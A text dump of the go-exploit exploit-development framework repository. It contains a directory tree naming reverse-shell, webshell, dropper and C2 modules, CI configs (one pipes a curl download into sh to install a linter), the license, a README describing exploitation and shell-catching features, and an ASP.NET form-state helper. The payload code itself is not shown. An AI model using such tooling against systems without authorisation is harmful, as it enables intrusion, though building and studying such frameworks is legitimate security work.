Full Code of vulncheck-oss/go-exploit for AI

main 1e067d1dbd2b cached
198 files
1.1 MB
381.1k tokens
1760 symbols
1 requests
Download .txt
Showing preview only (1,179K chars total). Download the full file or copy to clipboard to get everything.
Repository: vulncheck-oss/go-exploit
Branch: main
Commit: 1e067d1dbd2b
Files: 198
Total size: 1.1 MB

Directory structure:
gitextract_2r412ve6/

├── .github/
│   ├── dependabot.yml
│   └── workflows/
│       ├── go.yml
│       └── useragent-update.yml
├── .gitignore
├── .golangci.yml
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── _uaupdate/
│   ├── README.md
│   └── main.go
├── aspnet/
│   ├── aspnet.go
│   └── aspnet_test.go
├── c2/
│   ├── channel/
│   │   └── channel.go
│   ├── cli/
│   │   └── basic.go
│   ├── external/
│   │   └── external.go
│   ├── factory.go
│   ├── factory_test.go
│   ├── httpservefile/
│   │   └── httpservefile.go
│   ├── httpserveshell/
│   │   └── httpserveshell.go
│   ├── httpshellserver/
│   │   └── httpshellserver.go
│   ├── shelltunnel/
│   │   └── shelltunnel.go
│   ├── simpleshell/
│   │   ├── simpleshellclient.go
│   │   └── simpleshellserver.go
│   └── sslshell/
│       └── sslshellserver.go
├── cli/
│   ├── commandline.go
│   └── commandline_test.go
├── config/
│   ├── config.go
│   └── config_test.go
├── db/
│   ├── create.go
│   ├── get.go
│   └── update.go
├── docs/
│   ├── c2.md
│   ├── custom-payloads.md
│   ├── db.md
│   ├── development.md
│   ├── exploit-types.md
│   ├── getting-started.md
│   ├── output.md
│   ├── scanning.md
│   ├── usage-example.md
│   ├── version-checking.md
│   └── windows-lpe.md
├── dotnet/
│   ├── data/
│   │   └── ReturnMessage.xml
│   ├── dotnetgadget.go
│   ├── dotnetgadget_test.go
│   ├── formatters.go
│   ├── general_types.go
│   ├── records.go
│   ├── viewstate.go
│   └── viewstate_test.go
├── encryption/
│   ├── aes.go
│   ├── aes_crypto.go
│   ├── aes_crypto_test.go
│   ├── certificate.go
│   ├── des.go
│   ├── kdf.go
│   ├── xor.go
│   └── xor_test.go
├── framework.go
├── framework_test.go
├── go.mod
├── go.sum
├── java/
│   ├── constants.go
│   ├── gadget_test.go
│   ├── gadgets.go
│   ├── javaclass.go
│   ├── javagadget.go
│   ├── ldapjndi/
│   │   └── ldapjndi.go
│   └── objects.go
├── output/
│   ├── commonlog.go
│   ├── exploitlog.go
│   └── frameworklog.go
├── payload/
│   ├── bindshell/
│   │   ├── bindshell.go
│   │   ├── bindshell_test.go
│   │   ├── netcat.go
│   │   └── telnet.go
│   ├── dropper/
│   │   ├── dropper.go
│   │   ├── dropper_test.go
│   │   ├── groovy.go
│   │   ├── php/
│   │   │   ├── dropper.php
│   │   │   └── dropper_secure.php
│   │   ├── php.go
│   │   ├── unix.go
│   │   └── windows.go
│   ├── encode.go
│   ├── encode_test.go
│   ├── fileplant/
│   │   ├── cron.go
│   │   └── fileplant_test.go
│   ├── payload.go
│   ├── payload_test.go
│   ├── reverse/
│   │   ├── bash.go
│   │   ├── gjscript/
│   │   │   └── glib_spawn.gjs
│   │   ├── gjscript.go
│   │   ├── groovy/
│   │   │   └── classic.groovy
│   │   ├── groovy.go
│   │   ├── java/
│   │   │   └── process_builder.java
│   │   ├── java.go
│   │   ├── jjs/
│   │   │   ├── reverse_shell.jjs
│   │   │   └── reverse_shell_ssl.jjs
│   │   ├── jjs.go
│   │   ├── js.go
│   │   ├── netcat.go
│   │   ├── nodejs/
│   │   │   ├── reverse.js
│   │   │   └── reverse_tls.js
│   │   ├── openssl.go
│   │   ├── perl.go
│   │   ├── php/
│   │   │   ├── unflattened.php
│   │   │   └── unflattened_self_delete.php
│   │   ├── php.go
│   │   ├── python/
│   │   │   ├── reverse27.py
│   │   │   ├── reverse27_secure.py
│   │   │   └── reverse3_12_secure.py
│   │   ├── python.go
│   │   ├── reverse.go
│   │   ├── reverse_test.go
│   │   ├── ruby.go
│   │   ├── telnet.go
│   │   ├── vbs/
│   │   │   └── reverse_http.vbs
│   │   └── vbs.go
│   ├── webshell/
│   │   ├── aspx.go
│   │   ├── bash.go
│   │   ├── jsp/
│   │   │   ├── webshell.jsp
│   │   │   └── webshell_min.jsp
│   │   ├── jsp.go
│   │   ├── php.go
│   │   ├── webshell.go
│   │   └── webshell_test.go
│   ├── wrapper.go
│   └── wrapper_test.go
├── product/
│   ├── asus/
│   │   └── asus.go
│   ├── product.go
│   └── wordpress/
│       ├── plugins.go
│       └── wordpress.go
├── protocol/
│   ├── afp/
│   │   └── afp.go
│   ├── ajp/
│   │   ├── ajp.go
│   │   └── ajp_test.go
│   ├── dotnetremoting/
│   │   └── dotnetremoting.go
│   ├── fortinet/
│   │   └── fgfm.go
│   ├── http-user-agent.txt
│   ├── httphelper.go
│   ├── httphelper_test.go
│   ├── ikev2/
│   │   ├── ikev2.go
│   │   ├── ikev2_test.go
│   │   ├── packs.go
│   │   └── types.go
│   ├── mikrotik/
│   │   ├── mikrotik_test.go
│   │   ├── msg.go
│   │   ├── webfig.go
│   │   └── winbox.go
│   ├── rocketmq/
│   │   ├── remoting.go
│   │   └── remoting_test.go
│   ├── sip/
│   │   ├── examples/
│   │   │   ├── README.md
│   │   │   ├── call/
│   │   │   │   └── main.go
│   │   │   ├── docker-compose.yml
│   │   │   ├── ping/
│   │   │   │   └── main.go
│   │   │   └── tcp/
│   │   │       └── main.go
│   │   ├── helper.go
│   │   ├── helper_test.go
│   │   └── user-agent.txt
│   ├── tcpsocket.go
│   └── udpsocket.go
├── random/
│   ├── random.go
│   └── random_test.go
├── search/
│   ├── search_test.go
│   ├── semver.go
│   └── xpath.go
├── transform/
│   ├── encode.go
│   ├── encode_test.go
│   ├── escape.go
│   ├── escape_test.go
│   ├── parsing.go
│   ├── parsing_test.go
│   ├── transform.go
│   └── transform_test.go
└── windows/
    ├── alpc_other.go
    ├── alpc_test.go
    ├── alpc_windows.go
    ├── device_other.go
    ├── device_test.go
    ├── device_windows.go
    ├── fsctl_other.go
    ├── fsctl_windows.go
    ├── handle_other.go
    ├── handle_test.go
    ├── handle_windows.go
    ├── memory_other.go
    ├── memory_test.go
    ├── memory_windows.go
    ├── platform_other.go
    ├── platform_windows.go
    ├── service_other.go
    ├── service_test.go
    ├── service_windows.go
    ├── token_other.go
    ├── token_test.go
    ├── token_windows.go
    ├── windows.go
    └── windows_test.go

================================================
FILE CONTENTS
================================================

================================================
FILE: .github/dependabot.yml
================================================
# To get started with Dependabot version updates, you'll need to specify which
# package ecosystems to update and where the package manifests are located.
# Please see the documentation for all configuration options:
# https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates

version: 2
updates:
  - package-ecosystem: "gomod" # See documentation for possible values
    directory: "/" # Location of package manifests
    schedule:
      interval: "daily"


================================================
FILE: .github/workflows/go.yml
================================================
# This workflow will build a golang project
# For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-go

name: Go

permissions:
  contents: read

on:
  push:
    branches: [ "main" ]
  pull_request:
    branches: [ "main" ]

jobs:

  build:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v3

    - name: Set up Go
      uses: actions/setup-go@v4
      with:
        go-version: '1.26.1'

    - name: Install golangci-lint
      run: curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b $(go env GOPATH)/bin v2.10.1

    - name: Build
      run: go build -v ./...

    - name: Lint
      run: golangci-lint run --fix

    - name: Test
      run: go test -v ./...


================================================
FILE: .github/workflows/useragent-update.yml
================================================
name: User-Agent Update

on:
   workflow_dispatch:
   schedule:
     - cron: '0 0 * * 0'

permissions:
   contents: write
   pull-requests: write

jobs:
   build:
     runs-on: ubuntu-latest
     steps:
       - name: Checkout Repo
         uses: actions/checkout@v4
         with:
           fetch-depth: 0

       - name: Setup golang
         uses: actions/setup-go@v4
         with:
           go-version: 1.21.x

       - name: Fetch JSONParser
         run: |
           go get github.com/buger/jsonparser
         working-directory: _uaupdate

       - name: Sort UA Data
         run: |
           go run .
         working-directory: _uaupdate

       - name: Reset gomod
         run: |
           go mod tidy
   
       - name: Create local changes
         run: |
           git add protocol/http-user-agent.txt
       - name: Commit files
         run: |
           git config --local user.email "action@github.com"
           git config --local user.name "GitHub Action"
           git commit --allow-empty -m "HTTP User Agent update"
       - name: Create Pull Request
         uses: peter-evans/create-pull-request@v6
         with:
           token: ${{ secrets.GH_TOKEN }}
           branch: ua-update
           title: HTTP User-Agent update


================================================
FILE: .gitignore
================================================
# If you prefer the allow list template instead of the deny list, see community template:
# https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore
#
# Binaries for programs and plugins
*.exe
*.exe~
*.dll
*.so
*.dylib

# Test binary, built with `go test -c`
*.test

# Output of the go coverage tool, specifically when used with LiteIDE
*.out

# Dependency directories (remove the comment below to include it)
# vendor/

# Go workspace file
go.work


================================================
FILE: .golangci.yml
================================================
version: "2"
linters:
  enable:
    - asasalint
    - asciicheck
    - bidichk
    - canonicalheader
    - containedctx
    - contextcheck
    - copyloopvar
    - cyclop
    - decorder
    - dogsled
    - durationcheck
    - err113
    - errchkjson
    - errname
    - errorlint
    - exhaustive
    - fatcontext
    - ginkgolinter
    - gocheckcompilerdirectives
    - gochecksumtype
    - gocognit
    - goconst
    - gocritic
    - gocyclo
    - godot
    - godox
    - goheader
    - gomoddirectives
    - gomodguard
    - gosmopolitan
    - grouper
    - importas
    - interfacebloat
    - intrange
    - loggercheck
    - makezero
    - mirror
    - misspell
    - musttag
    - nakedret
    - nilerr
    - nilnesserr
    - nilnil
    - nlreturn
    - nolintlint
    - nonamedreturns
    - perfsprint
    - predeclared
    - promlinter
    - protogetter
    - reassign
    - recvcheck
    - revive
    - rowserrcheck
    - sloglint
    - spancheck
    - sqlclosecheck
    - staticcheck
    - tagalign
    - tagliatelle
    - testifylint
    - unconvert
    - unparam
    - usestdlibvars
    - wastedassign
    - whitespace
    - wrapcheck
    - zerologlint
  settings:
    cyclop:
      max-complexity: 25
  exclusions:
    generated: lax
    presets:
      - comments
      - common-false-positives
      - legacy
      - std-error-handling
    rules:
      - linters:
          - staticcheck
        path: c2/sslshell/sslshellserver.go
        text: SA1019
      - linters:
          - staticcheck
        path: c2/httpservefile/httpservefile.go
        text: SA1019
      - linters:
          - staticcheck
        path: httphelper.go
        text: SA1019
      - linters:
          - staticcheck
        path: c2/shelltunnel/shelltunnel.go
        text: SA1019
      - linters:
          - staticcheck
        path: cli/commandline_test.go
        text: SA1019
      - linters:
          - gocognit
          - gocyclo
          - cyclop
        path: protocol/sip/helper_test.go
    paths:
      - protocol/mikrotik/msg.go
      - third_party$
      - builtin$
      - examples$
formatters:
  enable:
    - gci
    - gofmt
    - gofumpt
    - goimports
  exclusions:
    generated: lax
    paths:
      - protocol/mikrotik/msg.go
      - third_party$
      - builtin$
      - examples$


================================================
FILE: CONTRIBUTING.md
================================================
# How to contribute to go-exploit

Thank you for your interest in contributing to go-exploit!

## General Guidance

When submitting issues, please ensure they include sufficient information to reproduce the problem. 

For new features, make sure the following is done provided or done:

- A reasonable use case 
- Appropriate unit tests 
- All tests pass
- Ensure compliance with our `.golangci.yml` without generating any complaints
- Ensure that linting passes and there is nothing to fix

Linting and testing can be done with:

```sh
golangci-lint run --fix
go test -v ./...
```



================================================
FILE: LICENSE
================================================
                                 Apache License
                           Version 2.0, January 2004
                        http://www.apache.org/licenses/

   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION

   1. Definitions.

      "License" shall mean the terms and conditions for use, reproduction,
      and distribution as defined by Sections 1 through 9 of this document.

      "Licensor" shall mean the copyright owner or entity authorized by
      the copyright owner that is granting the License.

      "Legal Entity" shall mean the union of the acting entity and all
      other entities that control, are controlled by, or are under common
      control with that entity. For the purposes of this definition,
      "control" means (i) the power, direct or indirect, to cause the
      direction or management of such entity, whether by contract or
      otherwise, or (ii) ownership of fifty percent (50%) or more of the
      outstanding shares, or (iii) beneficial ownership of such entity.

      "You" (or "Your") shall mean an individual or Legal Entity
      exercising permissions granted by this License.

      "Source" form shall mean the preferred form for making modifications,
      including but not limited to software source code, documentation
      source, and configuration files.

      "Object" form shall mean any form resulting from mechanical
      transformation or translation of a Source form, including but
      not limited to compiled object code, generated documentation,
      and conversions to other media types.

      "Work" shall mean the work of authorship, whether in Source or
      Object form, made available under the License, as indicated by a
      copyright notice that is included in or attached to the work
      (an example is provided in the Appendix below).

      "Derivative Works" shall mean any work, whether in Source or Object
      form, that is based on (or derived from) the Work and for which the
      editorial revisions, annotations, elaborations, or other modifications
      represent, as a whole, an original work of authorship. For the purposes
      of this License, Derivative Works shall not include works that remain
      separable from, or merely link (or bind by name) to the interfaces of,
      the Work and Derivative Works thereof.

      "Contribution" shall mean any work of authorship, including
      the original version of the Work and any modifications or additions
      to that Work or Derivative Works thereof, that is intentionally
      submitted to Licensor for inclusion in the Work by the copyright owner
      or by an individual or Legal Entity authorized to submit on behalf of
      the copyright owner. For the purposes of this definition, "submitted"
      means any form of electronic, verbal, or written communication sent
      to the Licensor or its representatives, including but not limited to
      communication on electronic mailing lists, source code control systems,
      and issue tracking systems that are managed by, or on behalf of, the
      Licensor for the purpose of discussing and improving the Work, but
      excluding communication that is conspicuously marked or otherwise
      designated in writing by the copyright owner as "Not a Contribution."

      "Contributor" shall mean Licensor and any individual or Legal Entity
      on behalf of whom a Contribution has been received by Licensor and
      subsequently incorporated within the Work.

   2. Grant of Copyright License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      copyright license to reproduce, prepare Derivative Works of,
      publicly display, publicly perform, sublicense, and distribute the
      Work and such Derivative Works in Source or Object form.

   3. Grant of Patent License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      (except as stated in this section) patent license to make, have made,
      use, offer to sell, sell, import, and otherwise transfer the Work,
      where such license applies only to those patent claims licensable
      by such Contributor that are necessarily infringed by their
      Contribution(s) alone or by combination of their Contribution(s)
      with the Work to which such Contribution(s) was submitted. If You
      institute patent litigation against any entity (including a
      cross-claim or counterclaim in a lawsuit) alleging that the Work
      or a Contribution incorporated within the Work constitutes direct
      or contributory patent infringement, then any patent licenses
      granted to You under this License for that Work shall terminate
      as of the date such litigation is filed.

   4. Redistribution. You may reproduce and distribute copies of the
      Work or Derivative Works thereof in any medium, with or without
      modifications, and in Source or Object form, provided that You
      meet the following conditions:

      (a) You must give any other recipients of the Work or
          Derivative Works a copy of this License; and

      (b) You must cause any modified files to carry prominent notices
          stating that You changed the files; and

      (c) You must retain, in the Source form of any Derivative Works
          that You distribute, all copyright, patent, trademark, and
          attribution notices from the Source form of the Work,
          excluding those notices that do not pertain to any part of
          the Derivative Works; and

      (d) If the Work includes a "NOTICE" text file as part of its
          distribution, then any Derivative Works that You distribute must
          include a readable copy of the attribution notices contained
          within such NOTICE file, excluding those notices that do not
          pertain to any part of the Derivative Works, in at least one
          of the following places: within a NOTICE text file distributed
          as part of the Derivative Works; within the Source form or
          documentation, if provided along with the Derivative Works; or,
          within a display generated by the Derivative Works, if and
          wherever such third-party notices normally appear. The contents
          of the NOTICE file are for informational purposes only and
          do not modify the License. You may add Your own attribution
          notices within Derivative Works that You distribute, alongside
          or as an addendum to the NOTICE text from the Work, provided
          that such additional attribution notices cannot be construed
          as modifying the License.

      You may add Your own copyright statement to Your modifications and
      may provide additional or different license terms and conditions
      for use, reproduction, or distribution of Your modifications, or
      for any such Derivative Works as a whole, provided Your use,
      reproduction, and distribution of the Work otherwise complies with
      the conditions stated in this License.

   5. Submission of Contributions. Unless You explicitly state otherwise,
      any Contribution intentionally submitted for inclusion in the Work
      by You to the Licensor shall be under the terms and conditions of
      this License, without any additional terms or conditions.
      Notwithstanding the above, nothing herein shall supersede or modify
      the terms of any separate license agreement you may have executed
      with Licensor regarding such Contributions.

   6. Trademarks. This License does not grant permission to use the trade
      names, trademarks, service marks, or product names of the Licensor,
      except as required for reasonable and customary use in describing the
      origin of the Work and reproducing the content of the NOTICE file.

   7. Disclaimer of Warranty. Unless required by applicable law or
      agreed to in writing, Licensor provides the Work (and each
      Contributor provides its Contributions) on an "AS IS" BASIS,
      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
      implied, including, without limitation, any warranties or conditions
      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
      PARTICULAR PURPOSE. You are solely responsible for determining the
      appropriateness of using or redistributing the Work and assume any
      risks associated with Your exercise of permissions under this License.

   8. Limitation of Liability. In no event and under no legal theory,
      whether in tort (including negligence), contract, or otherwise,
      unless required by applicable law (such as deliberate and grossly
      negligent acts) or agreed to in writing, shall any Contributor be
      liable to You for damages, including any direct, indirect, special,
      incidental, or consequential damages of any character arising as a
      result of this License or out of the use or inability to use the
      Work (including but not limited to damages for loss of goodwill,
      work stoppage, computer failure or malfunction, or any and all
      other commercial damages or losses), even if such Contributor
      has been advised of the possibility of such damages.

   9. Accepting Warranty or Additional Liability. While redistributing
      the Work or Derivative Works thereof, You may choose to offer,
      and charge a fee for, acceptance of support, warranty, indemnity,
      or other liability obligations and/or rights consistent with this
      License. However, in accepting such obligations, You may act only
      on Your own behalf and on Your sole responsibility, not on behalf
      of any other Contributor, and only if You agree to indemnify,
      defend, and hold each Contributor harmless for any liability
      incurred by, or claims asserted against, such Contributor by reason
      of your accepting any such warranty or additional liability.

   END OF TERMS AND CONDITIONS

   APPENDIX: How to apply the Apache License to your work.

      To apply the Apache License to your work, attach the following
      boilerplate notice, with the fields enclosed by brackets "[]"
      replaced with your own identifying information. (Don't include
      the brackets!)  The text should be enclosed in the appropriate
      comment syntax for the file format. We also recommend that a
      file or class name and description of purpose be included on the
      same "printed page" as the copyright notice for easier
      identification within third-party archives.

   Copyright 2023 VulnCheck Inc

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.


================================================
FILE: README.md
================================================
# go-exploit: Go Exploit Framework

[![Go Reference](https://pkg.go.dev/badge/github.com/vulncheck-oss/go-exploit.svg)](https://pkg.go.dev/github.com/vulncheck-oss/go-exploit) [![Go](https://github.com/vulncheck-oss/go-exploit/actions/workflows/go.yml/badge.svg?branch=main)](https://github.com/vulncheck-oss/go-exploit/actions/workflows/go.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/vulncheck-oss/go-exploit)](https://goreportcard.com/report/github.com/vulncheck-oss/go-exploit)

`go-exploit` is an exploit development framework for [Go](https://go.dev/). The framework helps exploit developers create small, self-contained, portable, and consistent exploits. The framework was developed to simplify large scale scanning, exploitation, and integration with other tools. For API documentation, check out the package on [pkg.go.dev/github.com/vulncheck-oss/go-exploit](https://pkg.go.dev/github.com/vulncheck-oss/go-exploit).

## Go Exploit Phases

The Go Exploit Framework includes the following Phases which can be chained or executed independently:

* [Go Exploit Framework Phases](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/getting-started.md)
    * Step 1 - Target Verification
    * Step 2 - [Version Scanning](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/version-checking.md)
    * Step 3 - [Exploitation](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/exploit-types.md)
    * Step 4 - [Command & Control](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/c2.md)

## Go Exploit Features

The Go Exploit Framework includes these additional features:

* [Auto-detection](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/scanning.md#autodetect-ssl) of SSL/TLS on the remote target.
* Fully [proxy-aware](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/scanning.md#Proxy).
* Key-value or JSON [output](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/output.md) for easy integration into other automated systems.
* Builtin Java [gadgets](https://github.com/vulncheck-oss/go-exploit/blob/main/java/javagadget.go), [classes](https://github.com/vulncheck-oss/go-exploit/blob/main/java/javaclass.go), [LDAP](https://github.com/vulncheck-oss/go-exploit/blob/main/java/ldapjndi/ldapjndi.go), and [serializer](https://pkg.go.dev/github.com/vulncheck-oss/go-exploit@main/java) infrastructure.
* Builtin dotnet [serializers](https://pkg.go.dev/github.com/vulncheck-oss/go-exploit@main/dotnet) and generators.
* A selection of [multiple network protocol helpers](https://pkg.go.dev/github.com/vulncheck-oss/go-exploit@main/protocol#section-directories).
* Many example [reverse shell](https://github.com/vulncheck-oss/go-exploit/blob/main/payload/reverse), [dropper](https://github.com/vulncheck-oss/go-exploit/tree/main/payload/dropper), and [bind shell](https://github.com/vulncheck-oss/go-exploit/blob/main/payload/bindshell) payloads.
* Functionality that integrates exploitation with other [tools](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/c2.md#using--o) or frameworks like [Metasploit](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/c2.md#using-httpservefile) and Sliver.
* Builtin ["c2"](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/c2.md) for catching encrypted/unencrypted shells or hosting implants, as well as the [ability to create your own C2 integrations](github.com/vulncheck-oss/external-c2-experiments/).
* Automatic handling of [custom payloads and commands](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/custom-payloads.md).
* Supports multiple target [formats](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/scanning.md#providing-targets) including lists, file-based, VulnCheck IP-Intel, and more.

Documentation for specific features can be found in the [`docs/` directory](https://github.com/vulncheck-oss/go-exploit/tree/main/docs).

## Examples

* [CVE-2025-0364](https://github.com/vulncheck-oss/cve-2025-0364): An example of a go-exploit using complex web application logic for BigAnt CVE-2025-0364.
* [CVE-2023-22527](https://github.com/vulncheck-oss/cve-2023-22527): Three go-exploit implementations taking unique approaches to Atlassian Confluence CVE-2023-22527.
* [CVE-2023-25194](https://github.com/vulncheck-oss/cve-2023-25194): Demonstrates exploiting CVE-2023-25194 against Apache Druid (using Kafka).
* [CVE-2023-46604](https://github.com/vulncheck-oss/cve-2023-46604): Demonstrates exploiting CVE-2023-46604 and using the go-exploit HTTPServeFile c2.
* [CVE-2023-36845](https://github.com/vulncheck-oss/cve-2023-36845-scanner): Scans for Juniper firewalls to determine if they are vulnerable to CVE-2023-36845.
* [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467): A go-exploit implementation of CVE-2023-51467 that lands a Nashorn reverse shell.

## Contributing

Community contributions in the form of issues and features are welcome. Please see [our contributors guide in CONTRIBUTING.md](CONTRIBUTING.md).

## License

`go-exploit` is licensed under the [Apache License, Version 2.0](https://www.apache.org/licenses/LICENSE-2.0). For more details, refer to the LICENSE file.



================================================
FILE: _uaupdate/README.md
================================================
# Updating the go-exploit HTTP User Agent

This main.go fetches user agents from the Project Discovery [useragent](https://github.com/projectdiscovery/useragent) package (using the [MIT license](https://github.com/projectdiscovery/useragent/blob/main/LICENSE)), and filters them down to the most recent Windows Chrome User-Agent. The output is written to `./protocol/http-user-agent.txt`.

Usage example:

```console
albinolobster@mournland:~/go-exploit/_uaupdate$ go run .
albinolobster@mournland:~/go-exploit/_uaupdate$ cat ../protocol/http-user-agent.txt 
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
```

================================================
FILE: _uaupdate/main.go
================================================
package main

import (
	"os"
	"regexp"

	"github.com/vulncheck-oss/go-exploit/output"
	"github.com/vulncheck-oss/go-exploit/protocol"
)

func main() {
	uri := "https://www.whatismybrowser.com/guides/the-latest-user-agent/chrome"
	resp, body, ok := protocol.HTTPSendAndRecv("GET", uri, "")
	if !ok {
		return
	}

	if resp.StatusCode != 200 {
		output.PrintfError("Unexpected status code: %d %s", resp.StatusCode, body)

		return
	}

	// looking in the body for the latest Chrome on Windows whatever
	matches := regexp.MustCompile(`<li><span class="code">(Mozilla/\d+.\d+ \(Windows NT [^<]+)</span></li>`).FindStringSubmatch(body)
	if len(matches) != 0 {
		_ = os.WriteFile("../protocol/http-user-agent.txt", []byte(matches[1]), 0o644)
	}
}


================================================
FILE: aspnet/aspnet.go
================================================
// Package aspnet provides helper functions to deal with ASP.NET and C# applications that utilize the state preserving hidden fields. These are notoriously annoying to automate and require multiple requests per action and often simulate user interaction clicks. The ASPState type helps speed up development of those requests.
//
// The package can be used to facilitate chains of go-exploit requests to ASP.NET applications like so:
//
//	state := aspnet.State{}
//	resp, body, ok := protocol.HTTPSendAndRecvWith("GET", conf.GenerateURL("/management/AdminDatabase.aspx"), "")
//	if !ok {
//		output.PrintError("Could not retrieve to the admin database endpoint")
//
//		return false
//	}
//
//	state.Update(body)
//
//	// Now only the parameters that are required can be utilized and no special body parsing
//	// for __VIEWSTATE and friends is required.
//	p := state.MergeParams(map[string]string{
//		"__EVENTTARGET":                      "ctl00$MainContent$DatabaseType",
//		"ctl00%24MainContent%24DatabaseType": "psql",
//	})
//	params := protocol.CreateRequestParamsEncoded(p)
//	headers["Content-Type"] = "application/x-www-form-urlencoded"
//	resp, body, ok = protocol.HTTPSendAndRecvWithHeaders("POST", conf.GenerateURL("/management/AdminDatabase.aspx"), params, headers)
//	if !ok {
//		output.PrintError("Could not POST to the admin database endpoint")
//
//		return false
//	}
//
//	// Update the state from the previous POST response, this time we only want the states and have no content
//	state.Update(body)
//	params := protocol.CreateRequestParamsEncoded(state.AsParams())
//	resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("POST", conf.GenerateURL("/management/AdminDatabase.aspx"), params, headers)
//	if !ok {
//		output.PrintError("Could not POST to the admin database endpoint")
//
//		return false
//	}
package aspnet

import (
	"maps"
	"strings"

	"github.com/antchfx/htmlquery"
)

// State represents the current state of the steps in a request chain for a ASP.NET application. The state should have all possible ASP.NET common state values represented and if they are not set in the current request state will be nil. This state struct only covers:
//   - __VIEWSTATE
//   - __VIEWSTATEGENERATOR
//   - __EVENTVALIDATION
//   - __EVENTARGUMENT
//   - __EVENTTARGET
//   - __LASTFOCUS
//
// The __EVENTTARGET and __EVENTARGUMENT are purposefully not omitted as there are often multiple or non-state required targets, so ensure they are set to the specific target.
type State struct {
	ViewState          *string
	ViewStateGenerator *string
	EventTarget        *string
	EventValidation    *string
	EventArgument      *string
	LastFocus          *string
}

// xPathQuiet is similar to search.XPath, but does not trigger framework errors as these can be expected to be empty.
func xPathQuiet(document, path string) (string, bool) {
	doc, err := htmlquery.Parse(strings.NewReader(document))
	if err != nil {
		return "", false
	}
	n := htmlquery.FindOne(doc, path)
	if n == nil {
		return "", false
	}

	return htmlquery.InnerText(n), true
}

// AsParams creates a map structure for use with the protocol package HTTP helpers or in their raw map form. If the last process state did not have one of the parameters it will not be set, but empty string values are preserved.
func (state *State) AsParams() map[string]string {
	u := map[string]string{}
	if state.ViewState != nil {
		u["__VIEWSTATE"] = *state.ViewState
	}
	if state.ViewStateGenerator != nil {
		u["__VIEWSTATEGENERATOR"] = *state.ViewStateGenerator
	}
	if state.EventValidation != nil {
		u["__EVENTVALIDATION"] = *state.EventValidation
	}
	if state.EventArgument != nil {
		u["__EVENTARGUMENT"] = *state.EventArgument
	}
	if state.EventTarget != nil {
		u["__EVENTTARGET"] = *state.EventTarget
	}
	if state.LastFocus != nil {
		u["__LASTFOCUS"] = *state.LastFocus
	}

	return u
}

// MergeParams merges the hand written or custom parameters and the ASP.NET state parameters to allow for a single call to protocol.CreateRequestParamsEncoded for both the current state and any modifications that are necessary. The same rules for parameter empty vs not found exist as AsParams. The parameters passed in the function will override the underlying state values if they are passed.
func (state *State) MergeParams(p map[string]string) map[string]string {
	params := state.AsParams()
	maps.Copy(params, p)

	return params
}

// Update the State to extract the supported state values and reset the parameters that are not found. This should be called after each HTTP request that requires state updates. This update only works on the first matched state document and if multiple states are set on the expected page manual updating may be required.
func (state *State) Update(body string) {
	v, hasMatch := xPathQuiet(body, `//input[@name="__VIEWSTATE"]/@value`)
	if hasMatch {
		state.ViewState = &v
	} else {
		state.ViewState = nil
	}
	vg, hasMatch := xPathQuiet(body, `//input[@name="__VIEWSTATEGENERATOR"]/@value`)
	if hasMatch {
		state.ViewStateGenerator = &vg
	} else {
		state.ViewStateGenerator = nil
	}
	ev, hasMatch := xPathQuiet(body, `//input[@name="__EVENTVALIDATION"]/@value`)
	if hasMatch {
		state.EventValidation = &ev
	} else {
		state.EventValidation = nil
	}
	et, hasMatch := xPathQuiet(body, `//input[@name="__EVENTTARGET"]/@value`)
	if hasMatch {
		state.EventTarget = &et
	} else {
		state.EventTarget = nil
	}
	ea, hasMatch := xPathQuiet(body, `//input[@name="__EVENTARGUMENT"]/@value`)
	if hasMatch {
		state.EventArgument = &ea
	} else {
		state.EventArgument = nil
	}
	lf, hasMatch := xPathQuiet(body, `//input[@name="__LASTFOCUS"]/@value`)
	if hasMatch {
		state.LastFocus = &lf
	} else {
		state.LastFocus = nil
	}
}


================================================
FILE: aspnet/aspnet_test.go
================================================
package aspnet_test

import (
	"testing"

	"github.com/vulncheck-oss/go-exploit/aspnet"
)

var pageState1 = `<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head><meta http-equiv="X-UA-Compatible" content="IE=9" /><meta http-equiv="Page-Enter" content="Alpha(opacity=100)" /><title>
	Gladinet Cloud Cluster
</title>
<body style="overflow:hidden;">
    <form name="aspnetForm" method="post" action="./admindatabase.aspx" id="aspnetForm">
<div>
<input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" />
